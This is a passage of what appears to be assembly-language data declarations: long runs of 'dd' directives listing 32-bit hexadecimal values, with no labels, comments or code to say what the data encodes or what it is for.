dd 0B9761D72h, 0FC8ADA25h, 0B2355821h, 56D9810h, 8ADE840Fh
dd 2826BDBDh, 6CD12F40h, 0E5F17EC5h, 0FBAE030h, 4EFC112Fh
dd 0C9161FF7h, 1C57AD34h, 0A3F99D9Fh, 0DDACD809h, 0D99FA59Ch
dd 0FB0109FCh, 0A0998884h, 0C2E05817h, 7F768072h, 8B4DC8F8h
dd 0C2AD25D5h, 72377401h, 0F476CF8Bh, 134348C9h, 0BF5720E9h
dd 7ACC5C61h, 0D200936h, 67F0CCAh, 910C28C5h, 54783D0Ah
dd 6602CB50h, 0FE599310h, 0C2010BCFh, 67F2DF00h, 0D95A9050h
dd 9196C5FDh, 7B5F68BAh, 0ADDA35D7h, 79DEC5EFh, 0E93D37E3h
dd 0B65BDE4Dh, 155B3EB6h, 8FC8065Ah, 35AB536Eh, 202CEB71h
dd 11EE20E9h, 1EED5C4Fh, 90D529CBh, 811608FAh, 2BB6D95Eh
dd 0DEEEE6D0h, 50B13D03h, 6E632FCCh, 0E392F488h, 0EBA2407Fh
dd 0AD204A81h, 7ED74E6Bh, 950E500Bh, 0E990C9F2h, 28B12E17h
dd 2F50008h, 4C9268ACh, 99B3E198h, 0E4BDD8E0h, 5B660114h
dd 8608EAC0h, 3E0461DAh, 2057EC47h, 0E7E8F084h, 0D3F0E84Bh
dd 0CCF825A1h, 7F12B50Fh, 2D4716F5h, 32E601DFh, 0C52568E8h
dd 0E5ACEB44h, 0AA0BE652h, 41779AF8h, 9250CDE3h, 27C0E0B5h
dd 61F008EDh, 0C1E5F8CEh, 0C4B35358h, 99DA9143h, 0BF7193CBh
dd 5E259E38h, 0D8D314E2h, 5D0DAD42h, 0BF055EC6h, 53DD5149h
dd 0CB307DB1h, 715ABCBDh, 57B23A88h, 0F78353CFh, 0FEA35251h
dd 415AF1B1h, 7981A6ECh, 5E87D2FBh, 45BF537h, 97BF95C8h
dd 4238903Dh, 37F63334h, 5175C96h, 1253FBD3h, 0E41D1F52h
dd 0E5F0E736h, 0E9F2115Fh, 564E8F4Ch, 5CAA041h, 0F3341D03h
dd 1F8AE92Bh, 0C90EBBAFh, 0B95C4056h, 0DCB0783Bh, 2DB13120h
dd 0C522F668h, 0E109A472h, 137AF554h, 0F456FA96h, 269CA82Dh
dd 876C85DDh, 0E2EF1601h, 148604CBh, 90EA0CC6h, 2D6C3102h
dd 15AC4E4Ch, 16847AE9h, 0FC09575Bh, 0F5BF496Ah, 0B5AAED70h
dd 21AC8DF1h, 0CBAD0812h, 64020189h, 0D856A8D7h, 0EBEFF083h
dd 96CEEA11h, 1048B6E6h, 5C2D2794h, 0A86885EAh, 3D4CD08h
dd 0F471BBh, 2C0FEEB9h, 0CD09124Ch, 7A0ECB59h, 0AB219741h
dd 40696F30h, 0DE03F68Dh, 0EEC0C6FEh, 1880FF03h, 3A284004h
dd 5A012CF0h, 0E953C330h, 16956F87h, 0BF4201BFh, 81554E44h
dd 0EE3BDFD2h, 0B7D84148h, 4BF99BBBh, 0C069AF5Dh, 2348F7EFh
dd 60295935h, 26E90840h, 0AF887201h, 0EF0D76F3h, 0F62B1865h
dd 0B8814FCCh, 5B02C9B4h, 670305E1h, 5FA300DBh, 85E9297Dh
dd 47BA946Ah, 79E99F56h, 9A733344h, 0F20660FBh, 0DE34F00Bh
dd 6F068C0Bh, 93E550C0h, 9FAD73C5h, 885EE2F8h, 0AF05AC00h
dd 5F50E27Fh, 0F5A4275Dh, 0E13856CAh, 0E468822Ch, 5E5DBF16h
dd 0D8CA8040h, 5342940Ah, 59DF6813h, 1E0B958Ch, 137FEC03h
dd 4B84ECFBh, 87DF6E21h, 54AFE9ECh, 50EAF178h, 0B067F401h
dd 4BFB9A06h, 5CA3B65Eh, 2A260A27h, 0E909CBA8h, 3155A247h
dd 4D2957D8h, 0E1902A16h, 93B7F997h, 0A266A955h, 0EA53F95Dh
dd 0C9CA3EACh, 7A0AE1A5h, 0D1B55D05h, 4584B00Fh, 41BB7E6Ch
dd 604A2880h, 0CCB52F64h, 44810805h, 0F33E1FCCh, 0B594178Fh
dd 5C85C3E8h, 7564AE21h, 0A9E6C3BBh, 0C3347375h, 0CCBB0A64h
dd 0A1C5F053h, 0CBBAF801h, 3D814ADCh, 0D44D5C10h, 12277420h
dd 0BC07D53Dh, 81451D80h, 3F4AB202h, 0BB43552Eh, 0D776DFCBh
dd 0BCC45C09h, 4E82DF06h, 0B54052FDh, 298AEA09h, 6B4D74FFh
dd 0CCDACD5h, 5E2017BAh, 0FE551343h, 9E12CF52h, 0F301E1D0h
dd 0F81235E9h, 8886434Fh, 0D3FF1937h, 0E53B941Bh, 0D93D99C7h
dd 982B5A0Eh, 6EBE09B0h, 5E942F95h, 0F692AFB2h, 0C1488582h
dd 0C21741F9h, 0D679AA02h, 2C87F66Bh, 0D3A823B2h, 37F9820h
dd 73F5E381h, 0F3B03663h, 43063305h, 207BE934h, 81DB7F75h
dd 5BEE70BDh, 6C2F5DB0h, 0A020DB82h, 0F6818BAh, 0EEA83960h
dd 40803A82h, 8293F9C8h, 0E1F014C1h, 53E7349Ah, 309BBEA0h
dd 0F3FC5EB0h, 0AD135E5Bh, 0A23218EBh, 4B301218h, 96C40C26h
dd 0A82E4A3Ah, 0E52A5F52h, 0EC16FB59h, 82D8348Ch, 0F520DDB1h
dd 4B0C0580h, 0A54A8438h, 604C61FBh, 585EE29Ch, 2124BAE2h
dd 6660275Bh, 2469EC50h, 8603D7B3h, 2613FC8Bh, 8BE4FE5Ch
dd 8D635B36h, 0A03BE4A6h, 0BEEF8DCFh, 90C46909h, 97C38CAh
dd 0A3685EDBh, 0BE4B985Fh, 0BA4C136Dh, 10D7AC66h, 0DE50066Eh
dd 3E5E9C77h, 193D092h, 2C8F0C5Fh, 0FBA43BAEh, 99B16BE2h
dd 955FC56Ah, 92AE2E13h, 4D148A53h, 71AF972Ah, 7ACC8708h
dd 4FBF0353h, 808D547Ch, 0DB872A0Dh, 0EBD2F1E4h, 9227DD05h
dd 4487155Eh, 19CEFD8h
dd 423F6850h, 4226F32Ah, 0D8097A49h, 1AA397E9h, 6B2881F7h
dd 0F1CF7F62h, 0D3649D26h, 927A98D0h, 0B2521F6Ch, 6624D67Ah
dd 0BAC5D366h, 0DB45625Bh, 0E54F1CF7h, 0FA645751h, 9B39C391h
dd 4002BA01h, 2D5AD74Ah, 0D601B972h, 71A80523h, 85313CFBh
dd 94078FF2h, 0A25F2D11h, 7B8CFD09h, 7C78A569h, 4871CA1h
dd 0CE0345BFh, 0BABB94F7h, 0EEF9C117h, 6CD4E9C2h, 2D64C57Fh
dd 20BE56FBh, 0D5F7248Eh, 415EB19Ch, 5B3DBB70h, 5D2D6CA8h
dd 9E83DAE6h, 585E00F4h, 2F7CA635h, 7AD93396h, 0F4120C4h
dd 2BA77284h, 0E7055AC9h, 291092EAh, 90A469DEh, 85F6E9C1h
dd 0D4CFBF24h, 0D03825Ah, 0B8502A3Dh, 37AC4188h, 50B5BBAh
dd 0F29ED83Ah, 994B044h, 1BE13B7h, 8CE27188h, 630D8F7h
dd 76F89B90h, 56254FBEh, 0FA449CA8h, 967C84D0h, 66550189h
dd 0E877BABDh, 539FBEFBh, 0CA123D53h, 612E890Dh, 6BD34352h
dd 0E3682802h, 0C834F914h, 1D6249E8h, 0F055CFF5h, 9367C8E8h
dd 1AE71B48h, 5D347BF7h, 0FF20CCCFh, 0DC9915Fh, 0A8781288h
dd 3C1010Bh, 107539ADh, 7B18739Dh, 902D5577h, 0E734F617h
dd 218858D2h, 0DB4D1492h, 9257B176h, 0D997E45Ah, 9B5E6DFCh
dd 9F107CF3h, 5E40488Ch, 5836ACFDh, 0F34BD69Fh, 0F2932AE3h
dd 7EF9341h, 70B9513Eh, 0E96C7A0Dh, 5AF6149h, 0E2D1D2F7h
dd 3E0314C0h, 0A8404F47h, 190296B7h, 584EE902h, 16CC9F6Eh
dd 7486816h, 0E8C4ACACh, 83B909CAh, 4B72A5D4h, 4844FCDCh
dd 6176153Dh, 0D047818h, 5D729717h, 96270BACh, 57D8CD68h
dd 76DE9EA2h, 892E532Dh, 725984CCh, 0C56F44A5h, 0F04FE90Dh
dd 0C59758B9h, 23E98B2Bh, 0B5F034A9h, 0D0ACCFDh, 8211C22Dh
dd 86BDF359h, 9841D1FDh, 0F8C59AFDh, 117E1E81h, 4CB0930Eh
dd 0FABE0108h, 17B3CE9Fh, 0E9386468h, 27E9820Fh, 0B694D7CAh
dd 5C718C20h, 0AF0AD05Ah, 0EE7BA08h, 82CEA6F5h, 76DFF1D2h
dd 39BD7B9Ah, 0B63F9AC7h, 6A715A4Dh, 0CE24A0E9h, 26CB0B81h
dd 32748E18h, 0EE783207h, 2D55FC69h, 8A4A04F1h, 3D1B980Ch
dd 0CCB106C6h, 0D955E5E7h, 0E2372C4Eh, 76B7D782h, 53F382B2h
dd 92C07829h, 16165B0Ah, 0D1014963h, 0DB3FAEF8h, 5AE9F9FCh
dd 0E1EBD71h, 8F1A4F68h, 0F206655Eh, 7F329AEh, 1CE97C8h
dd 8E13D103h, 9B4C094h, 299B5C88h, 0DFDC27E6h, 69165F7Ah
dd 0F50B144Bh, 427C795Ch, 0CCD7C168h, 0BF38278Fh, 4E9CC76h
dd 31FF9C8Bh, 12063743h, 4EDD51FEh, 4F95EAC0h, 0CDF157Ah
dd 149263DEh, 84117A9h, 0BF140CA0h, 0C6D8CB31h, 0C768FEE8h
dd 1D8C6C4Ah, 30059FC9h, 7A11BDBBh, 7FE7D324h, 50A04FBAh
dd 81B53ABCh, 3A04EF4Ch, 801B2967h, 38718001h, 8BF5E78h
dd 0E909086Ah, 19AD858h, 0AF6386BEh, 30DEF71Fh, 5195D18Eh
dd 1871661h, 494BF148h, 4AE90814h, 680002D6h, 0BDA762EAh
dd 75937B49h, 387D6F82h, 86BA52E8h, 740435Ah, 0DF2312C1h
dd 1FE1EC50h, 0A7DE2890h, 0DB804EFEh, 8973D879h, 0BAA7B8CBh
dd 0FDEB4ADAh, 12E349C3h, 5727DC56h, 4CC03040h, 65C20905h
dd 8F44D8Eh, 0A2CD0720h, 0A718D8Bh, 56B83682h, 0AF636786h
dd 98BECB03h, 0D12B0F36h, 0D075A28Fh, 30D8B53Eh, 0C9BEEE31h
dd 28862C88h, 2F0F0A8Ah, 16D0562Ah, 5FD00107h, 0DB1F6A64h
dd 2E60E6C8h, 62181D6Eh, 0F20BE058h, 76DD02B9h, 0FB8943EEh
dd 387FE0Bh, 6FD4232Eh, 128F61Dh, 0B3E92F82h, 0C23CD6D2h
dd 977C5D54h, 685EF5C0h, 4669DC9h, 3E02E92Ch, 605BBA81h
dd 0A130655Ch, 8F711D72h, 0E8CA8126h, 2E76A54Ch, 1EC28DA0h
dd 4AD6CFEh, 0C8CC15E9h, 51F007BDh, 8DC81C5Ah, 0F27B5B3Eh
dd 310605D3h, 52C752ECh, 5A0A07EAh, 9A03ED49h, 0DCAAB2C9h
dd 0EB1464BEh, 0F5E82844h, 17C49BB8h, 9B56A48Dh, 65589Dh
dd 5105E2C0h, 0B56CB753h, 0C0B79E70h, 811E52ABh, 0A8E32A5Ch
dd 0FF38F73Ch, 7BF46DDEh, 268554Eh, 0F4408C71h, 0BBE7E45Ch
dd 2D684328h, 0A5D11E9Ch, 10AB962h, 0C9C58851h, 99EFBEEBh
dd 94A61B4h, 0CB413D71h, 5003A149h, 0E3839AF3h, 99DED0D2h
dd 0EEC14601h, 622E5705h, 0C575F85Bh, 12521F34h, 56E681A2h
dd 8D46DC53h, 0F1B513ACh, 1C554917h, 406097FCh, 37137168h
dd 0DDB66C01h, 74B1A04Ah, 2A083648h, 0D997B1FCh, 8CA1C87Ah
dd 0B8100502h, 0A4719909h, 4880DD77h, 3675CB9h, 2C544063h
dd 6232E330h, 9DFB5AF6h, 57760B0Bh, 25F7FA9h, 6C5D081Ah
dd 2C812DA9h, 94C8A144h, 0DC88095Bh, 0AC204F5Eh, 0B7E67820h
dd 775E9D52h, 75C68092h, 0F42E46Ah, 0B15741D7h, 0FDBADC3Ah
dd 0B598EF80h, 10F447CCh, 290A7E94h, 0EB11BDDDh, 6603C602h
dd 2ED6BBF5h, 8C6EA22Dh, 1298558Dh, 0EFBA1A8Ah, 9E0BD35Eh
dd 0C188A10Bh, 0B7E008EFh, 0A4ADB9EEh, 16A4003Ah, 0DF871327h
dd 0EDCAE918h, 0B71B1B1h, 0FD890DE3h, 0F7FA5946h, 0DCF6722Fh
dd 57E984D2h, 8720BF18h, 96C970E8h, 265766EEh, 0C3D4682Ah
dd 715BE5EAh, 5D0B9ECFh, 0E17CE668h, 0DA691A89h, 381F0934h
dd 9BFEE8C2h, 0EC043113h, 75AF051Ch, 0FCFC5769h, 136BD49Bh
dd 0F1ADDBA6h, 0D344598Eh, 0C8374414h, 86CEFE00h, 0BEFDF6DEh
dd 827A9708h, 203625ABh, 28864F6h, 5A4DEAFEh, 8D4A762Fh
dd 58C15EA8h, 8851C268h, 0B921ECBh, 0E8845046h, 0BBCCBFE4h
dd 254A7F51h, 1BDC2921h, 8782D1C7h, 31E987DAh, 40095A4Eh
dd 3B7974AEh, 0F203360Ah, 51949DE3h, 4A9E845Ch, 0E9F0E4F8h
dd 229C62C3h, 67893188h, 8072F357h, 28A9D15Ah, 7B65FFF5h
dd 1CF4CBBAh, 9452E9F7h, 0E63EBCB1h, 300134D2h, 5CEEEEC5h
dd 7D545F41h, 0E90C3BD7h, 0CDD75CAFh, 9B25540Eh, 0E3EDC03Bh
dd 517D6DC5h, 4E80AA89h, 2917210h, 295D131h, 4903BB32h
dd 0A9DC472Dh, 0FABDA9FEh, 0B5DA9560h, 9877E5C0h, 5FBE325Ch
dd 128765C0h, 84755A0Bh, 0B585FF47h, 0DAA3480h, 0F6709738h
dd 7523991Dh, 1C2076A5h, 80A734Dh, 3068A658h, 86C534E4h
dd 0D33E1E68h, 89A252E9h, 93864311h, 0DEC2ACA4h, 0E2B13A5Ah
dd 84E57FF3h, 4020A8A8h, 0D1BB09ADh, 3AA51470h, 0CE91805Bh
dd 0BA982974h, 41A1F158h, 90E06E08h, 0BC299D7Fh, 499CF006h
dd 0A3BBD3B7h, 867E27C0h, 0B3CFAF50h, 59670DB2h, 9E737210h
dd 0EBA90C57h, 75FFE9A1h, 0E0B63E47h, 8756F925h, 0B97C5171h
dd 0E45052C7h, 131DFAF8h, 0CB82E0E6h, 0DC02281Fh, 31072068h
dd 0DF805F5Ah, 0ACB07F26h, 806A404Eh, 9B5E22Eh, 0A11C0712h
dd 31FAF413h, 0A4BD327Dh, 0E0089111h, 37B400C1h, 8058E508h
dd 88A2C50Ah, 0BA16B5EFh, 54516361h, 0DD5D0EECh, 21BE416h
dd 63781023h, 33B11340h, 0E9055609h, 14C228Fh, 6844E1DAh
dd 0F739033Bh, 0D6C141D9h, 0E61298Bh, 12922018h, 653061EFh
dd 0C8393E9Bh, 0A12FA176h, 0D028C303h, 93C2CFB9h, 0E0004F0Eh
dd 22DE4094h, 3DCB9A57h, 36AE777Dh, 6EA03BACh, 86C32935h
dd 71F4B2A5h, 0ADD3D6h, 0E25562C7h, 0F092D67h, 0F84632D9h
dd 681E236h, 1E3168F5h, 0FF02A043h, 29B774C4h, 0DC4A7F6Fh
dd 0CA806E6Ah, 0D8D0985h, 4CE6810Ah, 1188DB7Ah, 17EB8168h
dd 0C15BD928h, 10D839C8h, 5A0EE4B7h, 75C0F681h, 0E6C11C39h
dd 120D798h, 0B25B4BB0h, 72EA9277h, 14578317h, 119FD3C0h
dd 81039BB5h, 720125CEh, 20DEF7F1h, 6403E895h, 0AEE9210Fh
dd 0C52702D0h, 7A7F738Ah
dd 5D088689h, 0E5E90A08h, 0CF82BDC8h, 66C71494h, 62E31440h
dd 45485FFAh, 13C20515h, 40C26A50h, 0A1ECCE5h, 680D53E6h
dd 5DB600AFh, 0F74508B1h, 0E004DD69h, 2454D801h, 3893F58h
dd 1C4A3A1Bh, 2E6DC9B0h, 0E97EFE0Bh, 8991FC8Bh, 0FB4677CFh
dd 0F1157C27h, 65EAC90Fh, 1C5646D4h, 0AEA2E95Ch, 81054047h
dd 71D4FE7h, 84BC76B3h, 25F7E8Ah, 57057FB9h, 8027A224h
dd 1CB58DFEh, 79E9F40Ch, 97E3FFF2h, 6C88E6E0h, 0A82A0581h
dd 8FF84B8Dh, 2F0898B7h, 0B1510080h, 28072C43h, 7E04C83Ah
dd 9B58F22Dh, 0EAD8EB05h, 0FB81D54Ah, 48A4E920h, 74EEE2BDh
dd 75F109BFh, 4A20FEB4h, 8092A077h, 3A5F8196h, 514E0BE3h
dd 0E5D70352h, 0CB2124A9h, 0BBD705Ah, 0F26717DCh, 0D7F85EE5h
dd 53806CE3h, 511DBE2Ah, 626D5462h, 0C440F531h, 42CFE066h
dd 3FB2C1B5h, 243AEA28h, 2117AACAh, 413DA2D8h, 3E4130EDh
dd 2F68D640h, 0D57C6DC6h, 16E88E2h, 0C45C19B8h, 2C2E254Dh
dd 993FD93Ch, 0EE5FD9F9h, 1CDB130h, 0C3BB531Eh, 6ACF4D8Fh
dd 61B65706h, 0EDD2BD45h, 7AB8C698h, 0C40B0797h, 0E89AF192h
dd 15AD330h, 77B76856h, 6F5E76BFh, 5805F84h, 3CE911Fh
dd 0E9F331A6h, 344A9039h, 0ADE0D2F1h, 0BC9E99DAh, 58679330h
dd 0B7002D5Eh, 563D17Ah, 7A32551Ah, 7840926h, 0C28F4721h
dd 0B6510794h, 1FBA1204h, 0BC1FA802h, 0F80162F7h, 0B5A52141h
dd 0CBBB1787h, 0B8885AEFh, 0C18C40A2h, 2B878EFh, 0F6F55E35h
dd 778F57C0h, 5B4E49B6h, 8BA63A79h, 51970BEh, 4EA45F44h
dd 0E9D810D5h, 0F89E5DD2h, 130F949h, 0EAD15A7Bh, 53514225h
dd 1E680EC9h, 0E95275C1h, 0B95D3425h, 2F08D909h, 2130886Eh
dd 0F9023D2Ch, 7D5CCB88h, 567680C0h, 0BF1D682h, 1F8FE86h
dd 0E4E8073h, 17794EA8h, 43006E3h, 13B2B697h, 642A13E8h
dd 6914A080h, 165C2C22h, 47120444h, 0B7C7ABECh, 0EFFC1713h
dd 78B5E3C0h, 0E92613F6h, 0C109C483h, 5551263h, 0FE3A35BEh
dd 0CBAD6461h, 939BD00h, 0AD495E26h, 2D0D3D19h, 1AE402Fh
dd 0EF46E9E8h, 5B8CBABh, 0B00A2548h, 9C1EFC34h, 0D84E36E0h
dd 0C2810F2Dh, 0F14BC00Fh, 0FE3E89D5h, 719F899Ch, 0DFA21679h
dd 12252497h, 0BBB7C894h, 0A72088D4h, 0F3EE38F0h, 0EA8AF75Bh
dd 0C2E5076Fh, 6C77AFE2h, 0E9B0A3B5h, 3079B821h, 0C57B9538h
dd 292F64C0h, 0B0E2783Fh, 176209C6h, 0EA906AF5h, 6F101ACFh
dd 0DA046482h, 0AF3BB649h, 0AC94C0C0h, 0FB292677h, 75F12083h
dd 0B3BA80DCh, 36AF6317h, 0ADCACD90h, 3033F819h, 0E310D2F7h
dd 3D0B730Eh, 663EA568h, 82602F76h, 0CF6DC1F4h, 0EA6CA0F1h
dd 0DB095E00h, 0CDD9850Fh, 0C962F99Dh, 0D7247151h, 0EE692538h
dd 0F7099530h, 0F90BF97Bh, 7394FD5Fh, 446E5395h, 0CEB79484h
dd 76F24A90h, 24F51410h, 0E809B3ADh, 6981F60Bh, 0D806FE03h
dd 0DAC3492Fh, 8C681216h, 76E37Ch, 77356E1Ah, 0BDF420E9h
dd 123C17F9h, 0E08CA265h, 0CF01953Dh, 7AF1F65Ch, 891206DCh
dd 0C0FDDA01h, 1472BD58h, 8843A461h, 3D6EAC00h, 0AD59BE15h
dd 58EB948h, 84DDE9FEh, 687872FAh, 9E2F27C6h, 0C9E3F169h
dd 0EEA1D584h, 6ED59E61h, 0E75398Ch, 585C5F0Ah, 0D89E2815h
dd 6391448h, 2F7A6D31h, 3F6E380Ch, 0E70B4B20h, 8B99C653h
dd 5821F5BEh, 59899BE9h, 70C504F4h, 89FA0147h, 0E88B022Dh
dd 82991098h, 47D9A55h, 80005894h, 0B4500FF5h, 0E520321Eh
dd 2EA3D0E7h, 2605EDh, 5AF5308Fh, 595FE828h, 0D83FC4B1h
dd 432D683Dh, 9EA95163h, 7C2FB91Ch, 0B0179A66h, 13FC5282h
dd 59955420h, 2AD100E1h, 8F5E3892h, 0AEA04750h, 4F900A44h
dd 0D85A44BCh, 8E0912CFh, 5BA17811h, 0B551B866h, 2C30D9BFh
dd 385A31D6h, 7FBB9D92h, 0E861B42Dh, 33E62A5Bh, 0DF446627h
dd 0C3525024h, 0EB89DA53h, 5B40AB97h, 0F529F821h, 930FFC21h
dd 0FEC7298Fh, 1690941h, 9F844EFh, 1C7F5D08h, 77F5828Bh
dd 73E91FB0h, 0AC8A2BF1h, 2C5CA079h, 986094EDh, 2DAC7602h
dd 43511D24h, 49425200h, 0BD6AE92Ah, 0DD05210Bh, 0D3B650B9h
dd 286CA10h, 0D6064E2Dh, 6429757Dh, 2D250D4h, 6C050AAAh
dd 9B681201h, 0C5D3A87Bh, 0A9A3796Ch, 9610F9D6h, 0C14B10F3h
dd 0C67368D5h, 15B927A9h, 16B22B5Ah, 96E0B7E1h, 5EFAB9E9h
dd 9627FAF3h, 64B72F90h, 12008B90h, 8607E4C0h, 98D5F6ECh
dd 5C7F4050h, 8C517395h, 0FD43513Ah, 99BA0CEEh, 0AC0C0297h
dd 6E9E5CA1h, 0BFC65149h, 57B16813h, 3C9763BFh, 0F07A937Eh
dd 0B86318B5h, 0A3700033h, 0AB99B95Eh, 294BB579h, 48A178A0h
dd 0E1A449A4h, 96A33A30h, 14A23489h, 0DBC5D564h, 0B043C224h
dd 0C53B0E10h, 46413034h, 7EBD6858h, 0BB001F35h, 4166629Eh
dd 2D9DE6BFh, 0F7C3BE99h, 512D3B05h, 10BB2978h, 5F25082Bh
dd 0B348BC90h, 0EEE18880h, 81655459h, 31304B08h, 150848Fh
dd 4C315866h, 0E06D3120h, 8012CEC2h, 0D2F68882h, 2C6296C1h
dd 0D7F783E5h, 50469B87h, 2ADB806h, 0E99ADAD5h, 595E7D56h
dd 0C110F8E8h, 0BF658D5Fh, 8741310Dh, 7DDCD031h, 0A5F896E1h
dd 71248602h, 57D3F701h, 0C4667170h, 1E61A6D1h, 0CB56828Ch
dd 375B2435h, 22E5222Bh, 0EF01B7A9h, 32C84082h, 6A21CF01h
dd 0ED520804h, 0E91758FDh, 6520EA8Fh, 0EA1755Fh, 0C1B5BD78h
dd 4E34FEBh, 0F121AA9Dh, 7F9E7B77h, 8709868h, 458049D4h
dd 0E18ED33Eh, 1FD55532h, 0C2E9ADC8h, 0AE0CFEB6h, 7486AA62h
dd 4FB2429Fh, 0A4037079h, 0B01A3497h, 0B50FEEBh, 0F30140ABh
dd 6080C88h, 34E803E9h, 0F61601B7h, 0ED580DDh, 4B285464h
dd 33FB45EFh, 8398BE04h, 0EC8995BBh, 0B892773h, 0BD8DBCBh
dd 0DE65D001h, 1F99FD88h, 0FAEA135Fh, 4D18625Fh, 167EBDCBh
dd 0EF55111Fh, 700D9E41h, 0C9F1EECh, 4A8683ABh, 0E1D0BB53h
dd 18D2EFC6h, 665843BDh, 7914F32Fh, 5016CCF4h, 0E5AD6626h
dd 0E52DEB02h, 30F6596Ah, 1D4A755Ah, 0FB825D74h, 0CC231868h
dd 0B75D70C2h, 8C924644h, 0E6E9550Ch, 9C6839Ch, 233DBAAFh
dd 94A68D7Ch, 0F9F960B2h, 3580A50Eh, 0D6685653h, 25FD5416h
dd 4B484A8Ah, 0D343F20Ch, 0ED404544h, 0AC775E29h, 8FAF16C7h
dd 0A93E2F22h, 0DB965FF3h, 4B43D19Fh, 0FA41EE58h, 8E25043Eh
dd 2D2AAE0Fh, 0A996E91Ch, 4E5769B8h, 0BC11BD3Eh, 0F1747BF1h
dd 8690C82h, 680803CFh, 61133C3Ah, 6DA8A61Ch, 0CB7583C1h
dd 9CE73836h, 0B72A9BC2h, 0CE585739h, 5A470095h, 0B71CD40Ah
dd 0B7DA8982h, 9D186677h, 8828FF2h, 0C19DCA77h, 6800989Fh
dd 0EC9F1F37h, 1859BDD0h, 1D965DEBh, 778DE913h, 0F9D539EEh
dd 554F64F8h, 4B205B98h, 0DD7897F2h, 0EECA682Eh, 982EA4BEh
dd 0FE8C5B9Dh, 3C751B8h, 0ECC193B2h, 0B6385857h, 0BD51E0A2h
dd 5E8C4C88h, 0CC5EE532h, 362E0115h, 2B004D2Eh, 0E9107B6Ah
dd 0DD899D7Eh, 246F99DDh, 0F4603807h, 14E68892h, 2C6FE58h
dd 0D0D6F606h, 0DD40A2EEh, 79681357h, 0B259AC40h, 1A1EFD5Fh
dd 4BD23344h, 13E6B262h, 0E2A84D46h, 52DD6882h, 9709B477h
dd 4690EDE6h, 7474075Eh, 144204FEh, 0B2330ED7h, 0AE393F8h
dd 4A107948h, 5F7BB5B9h, 0D371D350h, 5343DB92h, 0F10124EEh
dd 0E9C87A92h, 0D810F86Dh, 0BD773605h, 54A47848h, 0FC588890h
dd 17E448B9h, 73C98A40h, 0C19B57E0h, 7967F377h, 0C224306Ch
dd 2451E040h, 18D17FB5h
dd 0EE809F2Ah, 0AF063861h, 0F4F7CEFEh, 0FDFC12AAh, 84A8A49Eh
dd 0EF75E9C2h, 0F467A0DDh, 0F63F8C35h, 0CEA74F27h, 8E680928h
dd 2090C67Dh, 0BF05AB0Dh, 28414EA4h, 3F9BEB01h, 0F13E38C3h
dd 0EB257B1Ah, 0C2C07204h, 68535500h, 989F483Dh, 24373A03h
dd 9EB23F73h, 0FBA5CFD9h, 0C33FEBEFh, 0BFF1AA9h, 425F31FAh
dd 0E9B060E5h, 150D9FD5h, 1FDC3F66h, 0F465B7D7h, 22321529h
dd 0AEC6FFBEh, 43A45F4Eh, 340518E8h, 2C040A53h, 5D29717Fh
dd 0CDBB8DD8h, 0DE3C177h, 0BF74D51h, 2833AC0Ch, 97B480DFh
dd 0F867F701h, 0C6B65F1h, 598B0F63h, 0FCE9DF81h, 2EFC2597h
dd 52774F04h, 0F669B301h, 5CD070DBh, 0A7BFC182h, 5A3C66E1h
dd 0D2E4041Fh, 202542A3h, 0CAE159EAh, 4C2C7033h, 0E1003741h
dd 5C2815B4h, 1E74DBE3h, 6CC380D3h, 0E756495Ch, 0D861D6AFh
dd 0ED25685Fh, 6AD4592Dh, 35D403ECh, 0C073410h, 1D57871h
dd 984D714h, 0C081Ah, 1F685A14h, 2C719A2Fh, 5221BCB0h
dd 535B9780h, 0B60FD1B7h, 0FE2893h, 0D4F6E686h, 0E5882F51h
dd 59EEFFE0h, 0F028E917h, 0F9680E8h, 0C189CCCDh, 0A9E67980h
dd 1E4A4C79h, 109ACF8h, 1F029299h, 7355A79Dh, 25F7ACEFh
dd 4A2901Ch, 0AAAB24AEh, 0F56EBA9h, 9857FCE9h, 6BBE3C53h
dd 816E8C00h, 8B744CF5h, 8709048h, 25FE27F1h, 0D3D1E90Eh
dd 0A06D3EBDh, 0D20F8A6h, 8420657Fh, 534E3BF5h, 89E3B597h
dd 22C40F4h, 2215CF3Dh, 2086CE29h, 8C2EC4BAh, 15B00184h
dd 0C3C0ECB3h, 0C1801C58h, 0AED9129Eh, 0A9BF9E20h, 27FF25Ah
dd 5D4FF781h, 0C3D76D4Ch, 49D1C122h, 16171630h, 0BF48126Fh
dd 793FBB40h, 0B8427C7Eh, 689040BDh, 0D620A827h, 8E50C6C1h
dd 23C4F331h, 0A4076130h, 0F656F0B6h, 11D8EB8h, 0DE9F5A66h
dd 0BA53C652h, 0FA1D64AFh, 5E011662h, 9B79586Ah, 0CB1FB49Dh
dd 4844504Eh, 9460099Dh, 0E95A3917h, 42937BA6h, 5B40735Eh
dd 2375C281h, 810D7F28h, 0FC83E809h, 0F5005DF2h, 0AFA5BABBh
dd 8229B52Dh, 65D5E4h, 0A74E25B8h, 0D897697Dh, 4DF07FF4h
dd 6809521Dh, 0B0777AB6h, 2A67C6h, 0D0F70F20h, 54437525h
dd 3E91516h, 2DEADF85h, 53E77E52h, 0F740443Ch, 0E5C1D513h
dd 61B53209h, 9F665887h, 5B0FF74Bh, 2D50AAE7h, 39734102h
dd 95B4509Ch, 27D54F1Bh, 7C18A8B2h, 2270B74Ah, 0A9D0FEFAh
dd 0B64610B7h, 0AEA9045Eh, 3EBD009Eh, 0CB76DD69h, 9A7E029Eh
dd 3A81041Eh, 6CD3E914h, 0A793416Bh, 7AA23E2Bh, 5DC50517h
dd 20B2F480h, 0F521FD06h, 0E52823C0h, 10F31882h, 0D4C07839h
dd 4A1E46D4h, 0B6F02960h, 0C46C147Bh, 0B6E6262h, 538D405Ah
dd 3C440FBBh, 33E52CC7h, 5B948AFCh, 2927EDFCh, 0C5BD38ECh
dd 843C893Ah, 92683AF4h, 3D6FE300h, 150CBE57h, 9706EF60h
dd 27863E10h, 0E2F7058h, 3DFA2745h, 2A95CBC0h, 0CAC05CEDh
dd 5EFD6BF9h, 16C74EE9h, 0DB29FFA6h, 1056AD2Bh, 0B05F48A2h
dd 8FD2DFC7h, 0F0FD74AFh, 92543C78h, 0E82CC128h, 0D5228C0Bh
dd 0A54FBDB1h, 91E47567h, 29EB4AEDh, 0B8648275h, 558F6723h
dd 8A4000C2h, 9325304Ah, 0F5F08032h, 4A5C9217h, 0C1B1F9h
dd 0FB14B5C0h, 0D8215A17h, 5746CCh, 9D33F1BFh, 0F7C5E917h
dd 4A09CEA4h, 8F61AF46h, 0B5DA6A4Ch, 0E8353C00h, 205407Ah
dd 0A3563762h, 0BE42C231h, 9BDDF08Bh, 0F4B65812h, 15F18027h
